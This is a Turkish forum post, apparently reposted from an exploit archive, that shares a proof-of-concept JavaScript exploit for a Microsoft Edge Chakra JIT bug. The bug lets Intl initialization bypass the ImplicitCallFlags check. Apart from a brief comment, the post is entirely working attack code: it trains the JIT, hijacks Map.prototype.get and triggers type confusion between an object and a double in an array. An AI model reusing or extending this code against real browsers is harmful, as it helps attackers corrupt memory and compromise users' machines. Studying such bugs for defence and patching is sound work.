Hoşgeldin Misafir

Microsoft Edge Chakra JIT - ImplicitCallFlags Check Bypass with Intl Exploit

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Microsoft Edge Chakra JIT - ImplicitCallFlags Check Bypass with Intl Exploit

PHP:
/*
If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag.
  
In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js.
  
PoC:
*/
  
function opt(arr, obj) {
    arr[0] = 1.1;
    obj.x;
    arr[0] = 2.3023e-320;
}
  
let arr = [1.1];
for (let i = 0; i < 0x10000; i++) {
    opt(arr, {});
}
  
let get = Map.prototype.get;
Map.prototype.get = function (key) {
    Map.prototype.get = get;
  
    arr[0] = {};
  
    return this.get(key);
};
  
opt(arr, Intl);
  
alert(arr[0]);
 
#  0day.today [2018-08-19]  #